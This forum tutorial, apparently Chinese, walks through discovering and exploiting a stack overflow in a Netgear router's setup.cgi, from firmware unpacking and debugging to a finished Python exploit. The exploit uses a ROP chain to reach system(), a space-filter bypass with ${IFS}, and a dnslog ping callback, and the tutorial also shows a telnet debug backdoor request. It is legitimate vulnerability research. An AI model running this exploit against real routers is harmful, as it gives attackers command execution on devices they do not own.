问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
从零开始的路由器漏洞挖掘之旅
硬件与物联网
虽然目前已经有了很多很多路由器漏洞挖掘的文章资料,但是适合新手入门的、涉及环境配置细节的教学文章还是比较少,本文将带你一步步学习如何从零开始挖掘某厂商路由器的漏洞,通过实际操作和工具使用,深入了解固件分析、动态调试和漏洞利用的全过程,希望可以帮助读者少走一些弯路。
虽然目前已经有了很多很多路由器漏洞挖掘的文章资料,但是适合新手入门的、涉及环境配置细节的教学文章还是比较少,本文将带你一步步学习如何从零开始挖掘某厂商路由器的漏洞,通过实际操作和工具使用,深入了解固件分析、动态调试和漏洞利用的全过程,希望可以帮助读者少走一些弯路。 固件分析 ---- ### 安装和配置binwalk Binwalk是一个固件分析工具,可以帮助我们提取和分析嵌入式固件镜像。首先,按照以下步骤安装binwalk: > binwalk作者为Ubuntu系统定制了依赖的安装脚本,直接执行deps.sh,免去大部分烦恼! ```php git clone https://github.com/ReFirmLabs/binwalk cd binwalk sudo python3 setup.py install sudo ./deps.sh ``` 在开始漏洞挖掘之前,我们需要下载并解包路由器的固件。本文以某厂商路由器为例,首先从[官网](https://www.netgear.com/support/product/R6260.aspx)下载固件,然后使用binwalk进行解包: ```php binwalk -Me <firmware_file> ``` ### 漏洞分析 #### 目标漏洞信息 目标路由器属于MIPSEL架构,漏洞二进制位于setup.cgi(许多路由器的漏洞都位于CGI中,所以可以多看看,而且也比较容易利用) ```bash file setup.cgi setup.cgi: ELF 32-bit LSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped ``` main函数在`setup_main` #### 逆向 `sub_555BA950`从nvram中获取了环境变量`fw_out_rules`的值,没有进行长度检查,在`sscanf`格式化写入到`v16`导致栈溢出。 ![image-20220112184825883](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-badf6c02fe45c6c58b3821a456d805a0606971db.png) 通过交叉引用`fw_out_rules`可以发现该环境变量在`sub_55567D8C`被设置。 ![image-20220113151149696](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-43f6326e8e78949b2574e76d7878150e06425f3f.png) 交叉引用上面所说的两个函数 可以发现都是通过`ActionTab`方式按名调用,分别是`rule_list_simple_out`和`outmove`可以在固件解包的目录下`grep`搜索对应的字符串找到对应的外部接口,下面结合前端后端进行分析。 ![image-20220112191412505](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-0d2d165f513072a0da72a3a65a945a64135816c0.png) 直接访问`fw_rules.htm`,搞几个规则,使用 `nvram show | grep fw_out_rules` 可以看到这个变量储存的是Service name还有一些数字啥的。 ![image-20220113151643166](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6a6a841f3d3da706cfae50062062f4c432b51026.png) ![image-20220113151751457](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6032ae65747d0ad75fbc483b608687a1790a80fa.png) 所以我们需要控制请求里的 `service_list`参数,来修改`fw_out_rules`,最后访问`BKS_service_add.htm`触发栈溢出。 ![image-20220113151857290](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-e23f96bbbc78fa8c30050fb872467c399f971023.png) 动态调试 ---- ### 路由器配置 #### 开启telnet 虽然该款路由器开启调试的方式早已公开,但是为了弄清楚细节,最好的办法是手工逆一下。 其中函数`CallActionByName`通过查`ActionTab`表比对参数`todo`的值方式来调用函数`todo`中的参数对应函数 <img src="<https://s2.loli.net/2022/01/13/9WGF231OVSjyheT.png>" alt="image-20220107154406516" style="zoom: 67%;" /> ![image-20220107154250888](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-5e64c4364a89a089f901e947a183d0a24700a573.png) 注意到这个部分在许多函数中都有出现,搜索发现是一个为了修CNNVD-201306-024而写的一个check([IoT 分析 | 路由器漏洞频发,mirai 新变种来袭 - 云+社区 - 腾讯云 (tencent.com)](https://cloud.tencent.com/developer/article/1366157))。 ![image-20220107154751796](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-10020137698954e94a82ae982500cc0bf79e4a48.png) 所以可以通过`todo=debug`开启telnet ![image-20220107155810535](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-23e292f304d6304ca18104905523ff1e168acb33.png) ```bash 192.168.1.1/setup.cgi?todo=debug telnet 192.168.1.1 ``` ![image-20220110143548482](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9b2131c09753a1f68ff873874f99db9072435895.png) #### 编译gdbserver 在路由器上也要进行相应的调试配置 注意路由器是小端序,参数加上-EL [搭建iot动态调试环境\_九层台-CSDN博客](https://blog.csdn.net/qq_38204481/article/details/105391866) ```sh sudo apt-get install linux-libc-dev-mipsel-cross sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross sudo apt-get install binutils-mipsel-linux-gnu gcc-mipsel-linux-gnu sudo apt-get install g++-mipsel-linux-gnu ``` ```sh wget https://ftp.gnu.org/gnu/gdb/gdb-10.1.tar.xz tar xvf gdb-10.1.tar.xz cd gdb-10.1 CC="mips-linux-gnu-gcc -EL" CXX="mips-linux-gnu-g++" ./configure --target=mips-linux-gnu --host="mips-linux-gnu" --prefix="/root/tgdb" LDFLAGS="-static" make -j7 ``` 编译不了,不知道为啥( 这里下一个 <https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt> [HatLab Tools Library: 海特实验室IoT安全工具/环境整合 - Gitee.com](https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F/gdbserver) #### 上传gdbserver 比较好的办法是使用http server ```php python -m http.server 9999 wget http://192.168.1.2:9999/gdbserver ``` ![image-20220110153101486](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-503d406d18044b477e6b417758f72e04df5efefa.png) #### 附加二进制的坑点 由于setup.cgi不是持久存在的,需要循环attach,这个脚本可以解决。 ```sh int=1 while [ $int -le 1000 ]; do /tmp/gdbserver 0.0.0.0:12345 --attach `ps -A | grep setup.cgi | awk '{print $1}' | head -n 1` done ``` ### 调试端配置 环境: Ubuntu 21 #### 安装gef gef是异构动态调试做的比较好的一款gdb插件,推荐使用。 ```sh bash -c "$(wget http://gef.blah.cat/sh -O -)" ``` #### 安装gdb-multiarch 普通的gdb无法调试mips架构的二进制,所以你需要gdb-multiarch,Ubuntu的话直接使用apt就可以进行安装了。 ```php sudo apt install gdb-multiarch ``` #### gdb调试配置 为了让gdb正确进行调试,首先需要进行一下环境配置。 ```sh set arch mips set endian little gef-remote 192.168.1.1:12345 ``` ![image-20220111110708497](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6a2eaae78cba3dd91d5c74cf6b089514dc48418e.png) 在调试过程可以断到gadget,以及加载libc符号,如果觉得每次敲gdb命令比较繁琐,可以将gdb的命令保存成文件,然后在使用`gdb-multiarch`通过`-x`选项直接通过文件加载命令: ```sh set arch mips set endian little gef-remote 192.168.1.1:12345 b *0x555BAC2C ``` ```sh gdb-multiarch setup.cgi -x ./gdb.cmd ``` IDA反汇编出来的base可能跟实际基址不一样,可以调出实际的基址再rebase一下。 ![image-20220111141841115](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-372016f8c6542a639f8626f012737c228877e250.png) 漏洞利用 ---- ### 函数栈 mips调用函数时将返回地址放在 `$ra`,与x86架构类似,在函数起始处压栈,结束时弹出,通过`ja`指令跳到返回地址,所以需要溢出到`var_s24`来劫持控制流。 ![image-20220111152002015](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-15055f3309253ab560e48e9e9e3be9c8c3dfab6e.png) ### 执行system 介绍一下 mips 下神奇的函数调用: ![image-20220111161809879](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2ee5eef9a7bb942574fb4e058e410ee460aec09c.png) 在这里跳到 `$t9` 也就是 `system` 之后,会执行一下下面的那条语句(也就是 `5B068` 处的语句)之后才继续在 system 里面执行 那么这个gadget 我们就可以把 sp + 0xa8 + 0x88 处放一个`command`的指针,这样就会调用 `system(ptr)` 了 然后执行命令可以执行 `ping` 命令(其中 ping 需要绝对路径,需要注意): ```bash /bin/ping hv14uf.dnslog.cn -c 2 ``` ### 寻找gadgets MIPS架构推荐使用`ropper`进行查找,查找时可以参考可被控制的寄存器来筛选gadget。 ```php file setup.cgi search addiu $a0 ``` 一开始找到了这个,后来发现怎么也打不通 ```assembly 0x5556af20: addiu $a0, $sp, 0x18; lw $ra, 0x5c($sp); lw $v0, 0x18($sp); jr $ra; addiu $sp, $sp, 0x60; 0x55567650: la $t9, system; nop; jalr $t9; nop; ``` 后来翻了翻[CTF中常见的C语言输入函数截断属性总结 | Clang裁缝店 (xuanxuanblingbling.github.io)](https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/16/input/)发现是0x20截断了,所以我们system执行的`command`也需要[绕过空格](https://blog.csdn.net/qq_43427482/article/details/109725672)。 ![image-20220114114632712](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-55ddb3eda1de331f6a157888bbc2f18802a5edf1.png) 同时在`FindForbidValue`函数里也check了一些敏感字符/关键字,包含这些字符的请求包将会被丢弃。 <img src="<https://s2.loli.net/2022/01/13/1r5sHdV8MGNlgLY.png>" alt="image-20220112183944202.png" style="zoom: 67%;" /> 后来还是用原来的(,将`command`写到 `$a0-0x60`上,跳到`0x55567650`执行就行了。 ```assembly 0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20; 0x55567650: la $t9, system; nop; jalr $t9; nop; ``` 如果你也比较懒的的话,可以用`cyclic -l`来找偏移。 ![image-20220113142357164](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-472a69e4f95b912ecf4526ca0f17b29d2d8ecebc.png) 调试时发现`$a0`的值会随长度变化而变化,所以得填充一下,调试时用的长度500,这里也pad到500,如果想执行更长的命令,可以增加一下payload长度。 ### 最终exp ```python import requests,re import base64 url = "http://192.168.1.1/" user = "aaaa" pwd = "xxxx!" command = '/bin/ping xxx.dnslog.cn -c 4' command = command.replace(" ", "${IFS}") auth = "Basic " + base64.b64encode((user + ":" + pwd).encode()).decode("utf-8") def login(): get_sessionid = requests.get(url) sessionid = get_sessionid.headers["Set-Cookie"] headers = { "Authorization" : auth, "Cookie" : sessionid } r = requests.get(url,headers = headers) if r.status_code == 200: print("[+] Login success!") return sessionid else: print("[-] Login failed!") exit(0) def get_sid(sessionid): headers = { "Authorization" : auth, "Cookie" : sessionid } get_sid = requests.get(url + "fw_rules.htm",headers = headers) sid = re.findall(r'\?id=[a-f0-9]+', get_sid.content.decode("utf-8")) return sid[0] def attack(sessionid): attackurl = url + "setup.cgi" + get_sid(sessionid) payload = "a" * 376 payload += "%e4%2c%59%55" # ra = 0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20; payload += "b" * 0x1c payload += "%50%76%56%55" # ra = 0x55567650: la $t9, system; nop; jalr $t9; nop; payload += "c" * 8 payload += "%0a{}%0a".format(command) pad = 500 - (len(payload) - 4) if(pad >= 0): payload += "c" * pad # pad len to 500 print("[+] Attack start") print(attackurl,payload) data = "save=Apply&service_list=" + payload + "&fwout_action=0&fwout_laniptype=anyip&fwout_waniptype=anyip&fwout_logging=1&h_fwout_action=0&h_fwout_laniptype=anyip&h_fwout_waniptype=anyip&h_fwout_logging=1&h_service_list=AIM&c4_lan_start_ip=192.168.1.NaN&c4_lan_finish_ip=192.168.1.NaN&c4_wan_start_ip=&c4_wan_finish_ip=&h_ruleSelect=0&edit=0&todo=save&this_file=rule_out.htm&next_file=BKS_service_add.htm&SID=" headers = { "Cookie" : sessionid, "Authorization" : auth } r = requests.post(url = attackurl,data = data,headers = headers) if r.status_code: print("[+] Attack success!, the result is:") print(r.content) else: print("[-] Attack failed!") exit(0) sessionid = login() attack(sessionid) ``` ![image-20220113144005080](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6e3056d8efccf47b468651f6a2b2ebcf1e0f5847.png) ![image-20241222203953532.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-d47cbaac7b06b634438625eba352db74bd9f6912.png) ref === [TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析 - Lonely Blog (wuhao13.xin)](https://blog.wuhao13.xin/174.html) [HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)](https://xuanxuanblingbling.github.io/ctf/pwn/2020/09/24/mips/) [思科路由器 RV110W CVE-2020-3331 漏洞复现 | Clang裁缝店 (xuanxuanblingbling.github.io)](https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/)
发表于 2025-01-23 09:35:09
阅读 ( 575 )
分类:
硬件与物联网
0 推荐
收藏
0 条评论
请先
登录
后评论
Vokekk
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!